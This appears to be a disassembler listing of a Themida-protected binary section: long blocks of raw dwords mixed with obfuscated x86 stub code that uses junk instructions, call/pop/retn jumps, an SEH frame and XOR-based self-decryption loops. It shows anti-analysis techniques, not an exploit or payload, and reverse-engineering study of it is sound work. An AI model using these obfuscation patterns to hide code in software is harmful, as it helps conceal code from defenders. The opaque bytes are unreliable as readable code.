		dd 4390C8A9h, 68DFEC50h, 0BD835BD3h, 614013Dh, 0AC850F03h
		dd 6A000003h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 18042444h, 42000000h, 88F9C352h, 8928C3A9h, 142C6995h
		dd 0B59D0306h, 83061419h, 17A7EABDh, 840F0006h,	373h, 0A7EAB5FFh
		dd 0DABF0617h, 0FF393C14h, 14033995h, 59B58906h, 8B061410h
		dd 17A7DEB5h, 459D8B06h, 0C706141Fh, 1000106h, 4830F00h
		dd 66000000h, 963CF0BBh, 11E8h,	94835C00h, 9D157556h, 0C30A7F81h
		dd 2C4C9543h, 6051E221h, 505B5F61h, 6A966160h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
		dd 0A035C357h, 3BC1E96Fh, 0FFDA8B9Ch, 17A7EAB5h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1804h, 0C3514100h
		dd 0C872AA73h, 199D0133h, 0F06141Ah, 8B66DABFh,	8195FFD8h
		dd 52061410h, 0B58B5BF9h, 617A7DEh, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 17h, 27C35646h, 66CAABDAh, 858BF98Bh
		dd 6140FF9h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Ch,	0A7C35242h, 4CAD028h, 0E50B9D47h, 8090EB81h, 868914F0h
		dd 0C4h, 0E857006Ah, 3,	5FC35F20h, 4247C89h, 4244481h
		dd 18h,	0CEC35747h, 0F7CE145Dh,	2B69958Bh, 0BD890614h
		dd 6140CF5h, 0F04C283h,	1583h, 0AE800h,	0F25A0000h, 0D5F819C7h
		dd 0F15CEA5Ch, 77622BBh, 50895F31h, 57006A20h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1B04h,	0C3574700h, 141D9115h
		dd 2608290Eh, 8DFA8B66h, 17BC2385h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 1D438B54h
		dd 0B3AA3A1Eh, 0B88689h, 6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1B0424h, 52420000h, 0D6047BC3h, 0DEE026F4h
		dd 1830FCCh, 0FC000000h, 0F60006Ah, 0FF61FAB7h,	17A7EAB5h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1904h
		dd 0C3564600h, 1142F860h, 95FF6362h, 61433ADh, 9E8h, 0B98AC00h
		dd 7FE40B16h, 8B665D77h
		dd 8B965BFAh, 8D0F50D9h, 0Fh, 0AE9h, 657F6200h,	3F70009Eh
		dd 968F3B4Ah, 0B5FFA6B3h, 617A7EAh, 6E9h, 4D7E0D00h, 0FF08153Eh
		dd 14230995h, 45DF8106h, 832F8A49h, 141189BDh, 840F0006h
		dd 54h,	0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h
		dd 0DCC35242h, 5722A560h, 0B652BB66h, 6057965Bh, 8E8C18Bh
		dd 91000000h, 531623h, 5ACC1CDFh, 56505F61h, 965FFA8Ah
		dd 68C0F60h, 29000000h,	140B258Dh, 41858B06h, 61061418h
		dd 0A7EAB5FFh, 6A0617h,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 1C0424h, 53430000h, 8496ACC3h, 0D5A6953Dh, 0B589967Ah
		dd 614134Dh, 2D595FFh, 860F0614h, 1, 0E78060FCh, 0FF61FC38h
		dd 17A7EAB5h, 8B0F06h, 0FF000000h, 140B7595h, 0BBF6606h
		dd 119529D7h, 8306142Bh, 14112DBDh, 840F0206h, 3Fh, 0B2A88CBFh
		dd 55858B09h, 6A061400h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 0B7BBC352h,	0C6A4h
		dd 9E8h, 1C7EFA00h, 0E666BD3Dh,	0BF66CA4Fh, 0C75B4072h
		dd 141E4985h, 6, 0E974B300h, 0FFFFF2F3h, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 19h, 0CEC35343h, 0A9FF9FC8h
		dd 0E7816698h, 0C18B7C36h, 0EE8h, 9C5DC600h, 6BC764F5h
		dd 49701A38h, 896FC8BEh, 140899BDh, 20E95B06h, 11000000h
		dd 54E44Dh, 6 dup(0)
		dd 0E9000000h, 540h, 7C80FB0Bh,	67ABE2E3h, 4CD0CDF8h, 3AFEB5D3h
		dd 1FE39EADh, 0FB0AB89Ch, 0E8E58286h, 0D2FE69ADh, 0B2D453D7h
		dd 0E75A37FBh, 0E82E8B46h, 0C1CB0855h, 0DFD6F48Bh, 9848655h
		dd 225F6EF1h, 4C3F41DEh, 0D35CCF3Ch, 53F09260h,	2A6364E3h
		dd 8092B612h, 0CAC2B9CBh, 0E11994B5h, 64A3CAA5h, 78E72B62h
		dd 0E19CAA4Ch, 91BFCEFDh, 0CF58181Ah, 0AFB0C8C3h, 80B3FCA2h
		dd 353F092h, 64E31B3Fh,	232F5EB5h, 47E05368h, 53F092F4h
		dd 49090B0Fh, 0EB66C732h, 0C353F092h, 97FBCFC6h, 0C1BCCE9Dh
		dd 92D668C9h, 0D8EB53F0h, 0FD0D8081h, 583C736Bh, 3B5FF286h
		dd 3994A700h, 2B2F53F0h, 0EFEB02E9h, 85953741h,	8C5Dh
		dd 65675B00h, 9AA70636h, 9953F092h, 0FD8C9FF6h,	0BE42D0CBh
		dd 85948C70h, 1E8DBFCEh, 1307DEEh, 82AC0F66h, 0EF989ABEh
		dd 1, 376667C5h, 0B14D4C04h, 0E52B44ECh, 0BFC09F2Fh, 0E542BDCEh
		dd 53F06056h, 91BE69EDh, 9260E414h, 0B63F4D12h,	1826F08Fh
		dd 95A5C914h, 0CBC3BECAh, 0E31B92B4h, 99A1C8A7h, 94B3DAB5h
		dd 69F63A73h, 4114D657h, 15A9B3Fh, 16728A05h, 314ACEF2h
		dd 0FFEA59C6h, 176953F0h, 71F1BAC4h, 0F63C20D9h, 41188B0Ch
		dd 0D93D4D40h, 0F092A190h, 0D45E2253h, 65950807h, 255877F6h
		dd 0CA79A615h, 4953F092h, 3E4FA1C5h, 3CBE17ADh,	4F702FE5h
		dd 315E2D5Eh, 32C04474h, 0A1DCED72h, 0FEBBD6A9h, 94FB18CEh
		dd 749B388Eh, 0B77B3655h, 0A1951628h, 2B180AE2h, 522D5D41h
		dd 0D6417A37h, 0C545EE9Eh, 98A157F6h, 53F0ACA9h, 0D0EC262Ah
		dd 6F6B824Dh, 8594C8D1h, 6CCDh,	6867EB00h, 0DE960535h
		dd 0BFCD3C61h, 0DE50B4C4h, 74BE6A19h, 0D9F1ACA7h, 42760EBDh
		dd 7504F18Dh, 4E3F40DFh, 0B358DA3Eh, 631E2D5Ch,	8C01009Fh
		dd 0AEE5E37Ch, 0ADC4039Eh, 95268FADh, 420F85h, 67A50000h
		dd 7126C768h, 9A8C0906h, 9A1B12DFh, 53F0EBAFh, 183C2024h
		dd 38739FE0h, 0D43B5400h, 171B96B5h, 54EAE564h,	0DB597D38h
		dd 37666751h, 92A4A607h, 0F69953F0h, 8C8D539Fh,	1298594h
		dd 87000000h, 1A316C67h, 3C4C4743h, 156A5AD8h, 780B8F3h
		dd 8782C128h, 6F7E060Ah, 545E219h, 0FE49DC62h, 86F1629Ah
		dd 0E4822A19h, 7AA5A955h, 0A226564Bh, 1289BB50h, 3C6F910Eh
		dd 832C9F0Ch, 55E482B0h, 0C8C54F33h, 55E48277h,	4D7C0378h
		dd 0D63DC250h, 0D5E695B7h, 820E3D7Ah, 738555E4h, 980B4922h
		dd 7CABCF77h, 0DE3A524Bh, 1039C54h, 0DBED728Ah,	0D7EA8A0h
		dd 0DD57527Eh, 0E944D73Eh, 0E49CFD4Ch, 127655h,	0BE42394Bh
		dd 0A89ACC12h, 38532A8Bh, 52E14E7Dh, 0D155E490h, 27C4A76Dh
		dd 69000001h, 3F1F9E1Bh, 2DE788B0h, 0D7F48B2Bh,	816054DEh
		dd 92F043ECh, 0F47353F0h, 28ACDCD9h, 4AEBE004h,	49DC90CCh
		dd 56292125h, 8858234h,	0C66794F0h, 55E4900Bh, 9C608488h
		dd 728A0103h, 0A8A0DBEDh, 15920D7Eh, 55E49026h,	0B45BD9BDh
		dd 611C2E5Dh, 8EEB319Dh, 528B8BA8h, 98000000h, 0B3CBC6C1h
		dd 805BDD57h, 9DEC1F65h, 0BF1B336Eh, 3EED4A75h,	72D3F092h
		dd 6DABA607h, 24282C0Fh, 4A19AEEh, 2C0F6D35h, 96A6CA4Eh
		dd 0F6D2417h, 254C132Ch, 2E8FE401h, 2C0F6D13h, 7388AC90h
		dd 0F6D6732h, 6463FCACh, 2B010529h, 7Ah, 1B618041h, 192875E0h
		dd 9A53F092h, 0E2437CB6h, 49DC6A20h, 0EB4675D9h, 0E49AFF4Ah
		dd 0FDB0DF55h, 117549CDh, 0BBE20A1Fh, 30C2969Bh, 0A2D9EB74h
		dd 0CCBFC15Eh, 6FC37DBCh, 8FC855E4h, 99B6B568h,	4779161Ch
		dd 29582754h, 8AFABE74h, 83FE0D7Bh, 0FE51ADF5h,	0A46EA6A9h
		dd 0CD0EDF29h, 0FC0B544Fh, 126D9D81h, 494446F0h, 43B21525h
		dd 9DEBFA2Ch, 52B7C16Eh, 0C84C45F4h, 61808E44h,	3147E01Bh
		dd 0CA49D9DFh, 17293646h, 507A064h, 7FF56696h, 96B32B89h
		dd 0B56BEF1Fh, 66AC1B4Dh, 0ED9D8477h, 49A00F80h, 77697D6h
		dd 712C5E0Dh, 9D1032ADh, 0B9F4126Dh, 41F8F282h,	0D3D00453h
		dd 33E26541h, 0E09BADDCh, 0F1106F1Ch, 0A088CBCh, 40783355h
		dd 0E95F85D3h, 3274E90Ch, 366E0h, 8C8C0000h, 346767A6h
		dd 52497B04h, 6E29253Ah, 8904015Eh, 0A2DFEE71h,	0FBB6D5AAh
		dd 178EBCC3h, 306D98E7h, 57464718h, 89571F27h, 4C781E7h
		dd 83000000h, 0FF5704EFh, 5F042474h, 5C24048Fh,	5E08950h
		dd 4, 42Dh, 24048700h, 240C895Ch, 81E38953h, 4C3h, 4EB8300h
		dd 5C241C87h, 57241C89h, 18BC6CBFh, 34815706h, 630B4224h
		dd 0F1815958h, 58630B42h, 4EC815Fh, 89000000h, 4832424h
		dd 835B0424h, 0C8904ECh, 242C8124h, 1E774D4Ch, 8108438Fh
		dd 4D4C0843h, 1C8B1E77h, 0E1895124h, 4C181h, 0C1810000h
		dd 4, 5C240C87h, 592434FFh, 4C481h, 3DE90000h, 4FFFBBFh
		dd 0A996795h, 0A7A149DDh, 18C106B8h, 0FFC50306h, 2CC5D7E0h
		dd 0E2346A33h, 6EC1F609h, 32267D32h, 0CD28B83Ah, 0EFF9E4Ah
		dd 0E32E7D26h, 0B340D01Bh, 91858D32h, 6A061407h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
		dd 0D238C350h, 8C9155BFh, 0BB669061h, 0E85078D0h, 9, 0D72CBA0Ah
		dd 7E7D34DDh, 5FF88B3Dh, 57006A90h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1504h, 0C3574700h, 0BD8B5DEEh, 6142A79h
		dd 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
		dd 57470000h, 21109FC3h, 0E9006ADEh, 0Dh, 44CCDB8Eh, 0F9FA91E8h
		dd 84417B8Ch, 94858D66h, 0B30618C3h, 5C08317h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 0EAC35141h, 62DC519h
		dd 75BD8BB3h, 90061409h, 830F6053h, 0
; ---------------------------------------------------------------------------
		popa
		pop	ebx
		push	eax
		mov	edi, ebx
		nop
		cld
		push	0
		jmp	loc_5C9E62
; ---------------------------------------------------------------------------
		clc
		xchg	eax, edi
		push	eax
		jo	short locret_5C9EC6
		cmp	ebp, esp
		pop	ecx
		daa
		test	bh, ah
		dec	ecx
		retn	0D0C6h
; ---------------------------------------------------------------------------
		clc


loc_5C9E62:				; CODE XREF: Themida_:005C9E4Dj
		push	0
		push	0
		push	ecx
		call	sub_5C9E6F
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C9E6F	proc near		; CODE XREF: Themida_:005C9E67p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 15h
		inc	ecx
		push	ecx
		retn
sub_5C9E6F	endp

; ---------------------------------------------------------------------------
		test	al, 52h
		pusha
		mov	ecx, [ebp+6142355h]
		popa
		call	dword ptr [ebp+6141B19h]
		push	0
		push	edx
		call	sub_5C9E9A
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C9E9A	proc near		; CODE XREF: Themida_:005C9E92p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Dh
		inc	edx
		push	edx
		retn
sub_5C9E9A	endp

; ---------------------------------------------------------------------------
		dw 0B0Fh
		dd 0F48E5BEFh, 49FA819Eh, 10E960h, 0F3F90000h, 528C9AAFh
		dd 5633A7F7h
; ---------------------------------------------------------------------------
		mov	dh, [ebx]

locret_5C9EC6:				; CODE XREF: Themida_:005C9E55j
		retf
; ---------------------------------------------------------------------------
		fxch	st(7)
		xor	eax, 0C0D7F3BAh
		pop	esp
		popa
		mov	bl, ah
		lea	ecx, [ebp+617A778h]
		mov	[ebp+6140AE1h],	ecx
		call	ecx
		add	[ebp+6143165h],	eax
		cmp	dword ptr [ebp+61401CDh], 1
		jnz	loc_5C9F30
		jmp	loc_5C9F03
; ---------------------------------------------------------------------------
		dd 853C12F3h, 8EC48009h
		db 4Fh,	0E2h, 0D0h
; ---------------------------------------------------------------------------


loc_5C9F03:				; CODE XREF: Themida_:005C9EF3j
		push	2
		xor	di, 0F5DBh
		mov	edi, [ebp+6140C19h]
		push	eax
		mov	[esp], eax
		call	near ptr sub_5C9F23
		in	eax, 0BDh	; Interrupt Controller #2, 8259A
		push	ds
		pop	edx
		mov	ebp, 0D96520ADh
		xchg	eax, ecx

; =============== S U B	R O U T	I N E =======================================



sub_5C9F23	proc far		; CODE XREF: Themida_:005C9F14p

var_34		= dword	ptr -34h
var_2C		= dword	ptr -2Ch
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8

		mov	ebx, [ebp+61425F1h]
		pop	edi
		call	dword ptr [ebp+61433ADh]


loc_5C9F30:				; CODE XREF: Themida_:005C9EEDj
		jmp	loc_5CAD87
; ---------------------------------------------------------------------------
		call	$+5
		pop	ebp
		sub	ebp, 618C39Eh
		jmp	loc_5C9F54
; ---------------------------------------------------------------------------
		dw 3C8Fh
		dd 0FF550410h, 0F0854D4Fh, 0B9C752BCh
; ---------------------------------------------------------------------------


loc_5C9F54:				; CODE XREF: sub_5C9F23+1Ej
		push	0
		push	ecx
		call	loc_5C9F5F
		and	[ecx-3Dh], bl


loc_5C9F5F:				; CODE XREF: sub_5C9F23+34p
		pop	ecx
		mov	[esp+4], ecx
		add	dword ptr [esp+4], 1Ah
		inc	ecx
		push	ecx
		retn
; ---------------------------------------------------------------------------
		lodsb
		lodsb
		shr	byte ptr [esi-76D6D051h], 1
		mov	ch, 0D1h
		and	[esi+eax], dl
		lea	eax, [ebp+6178E49h]
		mov	ebx, 7B4515D9h
		nop
		push	esi
		mov	ebx, 7DC62CFCh
		pop	edi
		push	eax
		mov	ebx, 2695410Bh
		nop
		push	0
		push	ebx
		call	loc_5C9FA1
		and	[ebx-3Dh], bl


loc_5C9FA1:				; CODE XREF: sub_5C9F23+76p
		pop	ebx
		mov	[esp+0Ch+var_8], ebx
		add	[esp+0Ch+var_8], 15h
		inc	ebx
		push	ebx
		retn
; ---------------------------------------------------------------------------
		db 0E3h, 95h, 23h
; ---------------------------------------------------------------------------
		popf
		inc	ecx
		adc	[esi+eax], dl
		mov	[ebp+61408A1h],	esi
		push	large dword ptr	fs:0
		mov	bl, 4Ch
		mov	large fs:0, esp
		inc	dword ptr [ebp+6142DEDh]
		push	0
		push	ecx
		call	loc_5C9FE0
		and	[ecx-3Dh], bl


loc_5C9FE0:				; CODE XREF: sub_5C9F23+B5p
		pop	ecx
		mov	[esp+14h+var_10], ecx
		add	[esp+14h+var_10], 18h
		inc	ecx
		push	ecx
		retn
; ---------------------------------------------------------------------------
		dd 0F68D9E48h, 0CE80603Eh, 7E907h, 0CDE70000h, 0E711415Eh
		dd 81666102h, 6A871BC7h, 1DB5FFFFh, 6A06140Eh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
		dd 0EC87C357h, 0DE26BAC4h, 8995FFBAh, 0E906142Ah, 12Ch
		dd 0A6ABF66h, 9D3100B0h, 6140F8Dh, 0BD0370E6h, 6140515h
		dd 0E4FABF0Fh, 0BE871h,	0AC880000h, 52735C8Ch, 5118F04h
		dd 0EB81665Bh, 3C5B4839h, 0F5830F61h, 29000000h, 142B39BDh
		dd 0C8B60F06h, 0CAE8BF66h, 6BAh, 1D853100h, 8B061418h
		dd 4E8C1C1h, 0B436EF81h, 0F76676F9h, 7E9E2h, 0E1B30000h
		dd 0DF9FE8D2h, 8BC82B65h, 69BD8BD1h, 0F061404h,	483h, 46BF6600h
		dd 0AAE9E4h, 890F0000h,	11h, 0AE952h, 96520000h, 227F7D2h
		dd 0C1164CFh, 8858B5Fh,	66000000h, 83E5C5BBh, 9D0307C0h
		dd 614049Dh, 100C083h, 142D3195h, 35BD8B06h, 3B061412h
		dd 2A830FD0h, 0E9000000h, 0Eh, 8264EA14h, 0C5FCEACh, 9AF7EF57h
		dd 51E9C184h, 0E8000000h, 9, 88356A34h,	8EDA70B5h, 0D88B6605h
		dd 0FF8D8B5Fh, 0E9FFFFFFh, 0Bh,	0FFF222B7h, 0FB213702h
		dd 83AE268Ah, 840F01E1h, 20h, 0B58589FCh, 83061417h, 0FFFFFFA5h
		dd 9D2BFEFFh, 61402FDh,	89589h,	0E9F80000h, 0
; ---------------------------------------------------------------------------
		lea	esi, [ebp+618370Dh]
		mov	ebx, eax
		push	0
		push	0
		push	edx
		call	loc_5CA181
		and	[edx-3Dh], bl


loc_5CA181:				; CODE XREF: sub_5C9F23+256p
		pop	edx
		mov	[esp+20h+var_1C], edx
		add	[esp+20h+var_1C], 17h
		inc	edx
		push	edx
		retn
; ---------------------------------------------------------------------------
		push	esp
		wait
		pop	edx
		or	[edi], cl
		mov	bh, 0FEh
		jmp	loc_5CA1B1
; ---------------------------------------------------------------------------
		db 0ECh, 0FCh, 91h
; ---------------------------------------------------------------------------
		xchg	bl, [ebp-24h]
		pushf
		dec	edx
		sbb	ch, [edx]
		inc	esp
		db	3Eh
		dec	esi
		or	cl, ah
		inc	ebp
		mov	al, 55h
		adc	edx, eax


loc_5CA1B1:				; CODE XREF: sub_5C9F23+275j
		call	dword ptr [ebp+6142971h]
		push	0
		push	edi
		call	loc_5CA1C2
		and	[edi-3Dh], bl


loc_5CA1C2:				; CODE XREF: sub_5C9F23+297p
		pop	edi
		mov	[esp+4], edi
		add	dword ptr [esp+4], 17h
		inc	edi
		push	edi
		retn
; ---------------------------------------------------------------------------
		movsd
		popa
		retn	0E86Eh
; ---------------------------------------------------------------------------
		db 12h
		dd 0AD000000h, 8BA8D650h, 80596457h, 0BFDD38F4h, 0E801DE6Fh
		dd 5BD98BE4h, 7D75BF66h, 0FE5B9h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 38156E4Fh
		dd 0E99D8B94h, 83061422h, 6AFCE1h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 140424h, 53430000h, 9D0316C3h, 6142FF5h
		dd 9A9BD0Bh, 0F9FC0614h, 2BFA8B66h, 79BD29C0h, 0BA06142Dh
		dd 0
; ---------------------------------------------------------------------------
		push	0
		push	ebp
		call	loc_5CA267
		and	[ebp-3Dh], bl


loc_5CA267:				; CODE XREF: sub_5C9F23+33Cp
		pop	ebp
		mov	[esp+14h+var_10], ebp
		add	[esp+14h+var_10], 1Ah
		inc	ebp
		push	ebp
		retn
; ---------------------------------------------------------------------------
		mov	fs, cx
		daa
		fmul	qword ptr [esi+58h]
		mov	dl, 57h
		jmp	loc_5CA297
; ---------------------------------------------------------------------------
		dd 80DFD4D9h, 0A1ED3C3Ah, 0C2842DE3h, 27654EF3h
; ---------------------------------------------------------------------------
		inc	eax
		retf
; ---------------------------------------------------------------------------
		db 14h
; ---------------------------------------------------------------------------


loc_5CA297:				; CODE XREF: sub_5C9F23+35Cj
		pop	edi


loc_5CA298:				; CODE XREF: sub_5C9F23+37Fj
		lodsd
		xor	eax, edx
		shr	eax, 1
		add	edx, eax
		sub	ecx, 4
		jnz	short loc_5CA298
		jmp	loc_5CA2BD
; ---------------------------------------------------------------------------
		sar	bl, 1
		mov	ebx, [eax+0CCA68A0h]
		ror	byte ptr [esi+4], 1
		sti
		dec	edi
		mov	[esi+ebp*8+72C64472h], eax


loc_5CA2BD:				; CODE XREF: sub_5C9F23+381j
		mov	[ebp+6140999h],	edx
		or	eax, 88h
		push	0
		push	esi
		call	loc_5CA2D3
		and	[esi-3Dh], bl


loc_5CA2D3:				; CODE XREF: sub_5C9F23+3A8p
		pop	esi
		mov	[esp+18h+var_14], esi
		add	[esp+18h+var_14], 16h
		inc	esi
		push	esi
		retn
; ---------------------------------------------------------------------------
		push	3
		push	ebp
		jmp	loc_5CA2F1
; ---------------------------------------------------------------------------
		db 0FFh
		dd 72970A7Bh
		db 13h
; ---------------------------------------------------------------------------


loc_5CA2F1:				; CODE XREF: sub_5C9F23+3C3j
		mov	edx, [ebp+6142B69h]
		pusha
		mov	eax, edi
		and	bl, 75h
		popa
		mov	ebx, 489D9460h
		mov	ecx, [ebp+6141055h]
		sub	[ebp+6140C35h],	edi
		push	eax
		mov	eax, edx
		mov	ebx, [eax]
		add	eax, ecx
		mov	ebx, [eax]
		mov	eax, ecx
		shr	eax, 1
		add	eax, edx
		mov	ebx, [eax]
		pop	eax
		mov	edi, [ebp+6141371h]
		jmp	loc_5CA338
; ---------------------------------------------------------------------------
		dd 0D11BBF69h, 4DF6FACCh, 0BC8FA46h
; ---------------------------------------------------------------------------


loc_5CA338:				; CODE XREF: sub_5C9F23+404j
		cmp	dword ptr [ebp+6140F4Dh], 0
		jz	loc_5CA380
		mov	[ebp+6141C39h],	ebx
		mov	eax, 0
		or	[ebp+6142A79h],	edx
		lea	ecx, [ebp+6144DFFh]
		push	0
		push	ecx
		call	loc_5CA367
		and	[ecx-3Dh], bl


loc_5CA367:				; CODE XREF: sub_5C9F23+43Cp
		pop	ecx
		mov	[esp+28h+var_24], ecx
		add	[esp+28h+var_24], 17h
		inc	ecx
		push	ecx
		retn
; ---------------------------------------------------------------------------
		db 0A2h
; ---------------------------------------------------------------------------
		pop	edi
		xor	[ebp-69F1E01h],	bh
		popa


loc_5CA380:				; CODE XREF: sub_5C9F23+41Cj
		cmp	dword ptr [ebp+614013Dh], 0
		jz	loc_5CA861
		sub	[ebp+6140E05h],	ecx
		cmp	dword ptr [ebp+614013Dh], 1
		jz	loc_5CA87C
		push	0
		push	eax
		call	loc_5CA3AB
		and	[eax-3Dh], bl


loc_5CA3AB:				; CODE XREF: sub_5C9F23+480p
		pop	eax
		mov	[esp+0Ch+var_8], eax
		add	[esp+0Ch+var_8], 19h
		inc	eax
		push	eax
		retn
; ---------------------------------------------------------------------------
		db 0FAh
		dd 0D1EBB09Bh, 3DBD83BCh, 3061401h, 478860Fh, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 1FC238C3h, 60465E38h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 16h, 69C35545h, 0FB8B13A0h, 6AD98C66h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 7FC4C351h, 8EDB4017h, 0F2E84F74h, 0EE8h, 47783D00h
		dd 0E19FEA71h, 0F8092D86h, 0E847CAA5h, 0Dh, 0D32B87B3h
		dd 7C5DE694h, 0BA20DCA1h, 35BD8B8Ah, 5B06140Dh,	4E1805Bh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0AEC35545h
		dd 79FBEEFFh, 0FC90AFCh, 11B84h, 858BF500h, 6140E35h, 8533F98Bh
		dd 61406A9h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ch,	11C35141h, 0A21E157Ch, 0C2CAFEA2h, 0BB666050h
		dd 0BE87620h, 4E000000h, 0AF0DB892h, 0D4845D4h,	615A5FBFh
		dd 6A240489h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 19042444h, 45000000h, 9D62C355h, 58BD2778h, 8509006Ah
		dd 6140EB1h, 6939BF68h,	0DF8B66A8h, 40240481h, 6A57B5CAh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1C042444h
		dd 43000000h, 0DA48C353h, 0E6126DF6h, 605ADC73h, 130D9D89h
		dd 0B8660614h, 896167EAh, 1433D585h, 9D95FF06h,	6A061408h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 19042444h
		dd 41000000h, 9F7CC351h, 2E5D7803h, 33B9BD8Bh, 85890614h
		dd 617A7EAh, 11E9DA8Bh,	6A000002h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 0C948C355h
		dd 954DDFB7h, 0EF9CEFB6h, 0A7E2858Bh, 6E80617h,	84000000h
		dd 678E8C96h, 0FE85108h, 76000000h, 63E4C1Fh, 43E54B0Eh
		dd 0A180CC57h, 5B5F32B8h, 1800C75Fh, 6A000000h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h
		dd 39F8C351h, 0C29CD4A8h, 6E952h, 32660000h, 0E1C7CA25h
		dd 0E6B58B5Fh, 6A0617A7h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 17042444h, 43000000h, 5612C353h, 0BD09902Bh
		dd 6140D4Dh, 281858Bh, 9D010614h, 6140955h, 6A0689h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 53849CC3h, 2BDF8166h, 35858B32h, 0BF06140Eh,	328C7AF4h
		dd 6A044689h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 0DE66C355h, 5295417Ah,	1DBCB146h
		dd 2960FE8Bh, 1409C5B5h, 0DE906h, 84450000h, 8795A41Ah
		dd 8291402Dh, 61B2A3D7h, 0DFD1BF96h, 50501935h,	7E852h
		dd 27ED0000h, 4972E558h, 5B5F50A8h, 50BF310Fh, 5A4DC64Ch
		dd 0EB819658h, 1DE4C46Bh, 0A7E2B5FFh, 6A0617h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 38F886C3h, 0B70F29E1h, 4850FF8h, 66000000h, 68008EBFh
		dd 6CB7823Ah, 68C0Fh, 8B0F0000h, 0
; ---------------------------------------------------------------------------
		xor	[esp+10h+var_10], 6CA881C5h
		push	0
		push	ebp
		call	loc_5CA732
		and	[ebp-3Dh], bl


loc_5CA732:				; CODE XREF: sub_5C9F23+807p
		pop	ebp
		mov	[esp+14h+var_10], ebp
		add	[esp+14h+var_10], 17h
		inc	ebp
		push	ebp
		retn
; ---------------------------------------------------------------------------
		dw 6231h
		dd 890F6A43h, 6, 9CDBD8Bh, 858D0614h, 617A7EAh,	1C0D9D8Bh
		dd 0F7810614h, 613F3E40h, 202CBF50h, 4897287h, 51006A24h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1604h, 0C3514100h
		dd 8BE91D04h, 142FC99Dh, 9D95FF06h, 0F8061408h,	50006A61h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1904h, 0C3504000h
		dd 0F0DDFB02h, 13E91064h, 3F000000h, 46FABCD8h,	6AFBC1A9h
		dd 0D4A3E132h, 8A58629h, 85C79DF2h, 614013Dh, 3, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0BDC35343h, 54664B11h
		dd 2FDD9589h, 0BD830614h, 617A7EAh, 37840F00h, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1D042444h
		dd 46000000h, 648AC356h, 1115D122h, 0EADD4553h,	62A0BB66h
		dd 211BD8Bh, 1EE90614h,	0F000000h, 3050FFB7h, 4400110Ch
		dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h
		db 36h
; ---------------------------------------------------------------------------


loc_5CA861:				; CODE XREF: sub_5C9F23+464j
					; sub_5C9F23+955j
		push	eax
		xor	[ecx+edx], al
		add	[ecx+edx+1], ah
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], ah
		pop	eax
		sub	ecx, 4
		jnz	short loc_5CA861
		jmp	short loc_5CA897
; ---------------------------------------------------------------------------


loc_5CA87C:				; CODE XREF: sub_5C9F23+477j
					; sub_5C9F23+970j
		push	eax
		shr	eax, 10h
		sub	[ecx+edx+3], ah
		xor	[ecx+edx+2], al
		pop	eax
		sub	[ecx+edx+1], ah
		xor	[ecx+edx], al
		sub	ecx, 4
		jnz	short loc_5CA87C
		jmp	short $+2


loc_5CA897:				; CODE XREF: sub_5C9F23+957j
		mov	eax, eax
		push	0
		push	esi
		call	loc_5CA8A4
		and	[esi-3Dh], bl


loc_5CA8A4:				; CODE XREF: sub_5C9F23+979p
		pop	esi
		mov	[esp+0Ch+var_8], esi
